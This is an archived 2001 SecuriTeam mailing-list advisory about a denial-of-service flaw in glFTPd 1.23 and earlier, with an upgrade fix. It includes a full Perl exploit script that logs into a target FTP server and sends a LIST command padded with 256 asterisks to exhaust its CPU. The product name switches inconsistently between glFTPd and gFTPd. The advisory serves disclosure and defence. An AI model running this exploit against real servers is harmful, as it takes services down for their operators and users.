

[UNIX] glFTPd Vulnerable To a DoS Attack (* Attack)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-08/0079.html>

From: support@securiteam.com

Date: 08/19/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [UNIX] glFTPd Vulnerable To a DoS Attack (* Attack)

Message-Id: <20010819154918.A4E6B138BF@mail.der-keiler.de>

Date: Sun, 19 Aug 2001 17:49:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

glFTPd Vulnerable To a DoS Attack (* Attack)

SUMMARY

<<http://www.glftpd.org/>> glFtpD is an FTP daemon available from www.glftpd.org. Although it is a beta release, it is in wide use across the Internet.

glFTPd is a somewhat attractive choice for many non-technically minded people since it is simple to install and runs fine on the default configuration. It runs on Linux, FreeBSD, and Solaris.

However, this FTP server is vulnerable to a simple Denial-of-Service attack that can make glFTPd consume all available CPU power.

DETAILS

Vulnerable systems:

glFTP daemon version 1.23 and below

Immune systems:

glFTP daemon version 1.24

Whenever a glFTPd receives an especially formed "LIST" command it will

Securiteam: [UNIX] gFTPd Vulnerable To a DoS Attack (* Attack)

consume all available CPU power effectively causing a denial of service condition.

Solution:

Upgrade to the latest version of gFTP available from:

<<http://www.gftpd.org/gftpd.html>> <http://www.gftpd.org/gftpd.html>

Exploit code:

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
use Socket;
```

```
print "-- ASGUARD LABS EXPLOIT - gFTPd v1.23i ==-\n\n";
```

```
if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>  
<pass> [port]\n" };
```

```
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };
```

```
$adr = $ARGV[0];
```

```
$usr = $ARGV[1];
```

```
$pas = $ARGV[2];
```

```
$err = "*" x 256;
```

```
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,  
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect to $adr:$prt\n";
```

```
$remote->autoflush(1);
```

```
print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die  
"Error: can't send user\n";
```

```
print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or  
die "Error: can't send pass\n";
```

```
print $remote "LIST $err\n" and print "3. Sending : ErrorCode...\n\n" or  
die "Error: can't send error code\n";
```

```
print "Attack done. press any key to exit\n\nnote: Attack done doesn't mean  
Attack successful\n";
```

```
$bla= <STDIN>;
```

```
close $remote;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jan.wagner@de.tiscali.com>>
Jan Wagner.

=====

Securiteam: [UNIX] gFTPd Vulnerable To a DoS Attack (* Attack)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NEWS] HTML Form Protocol Attack"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)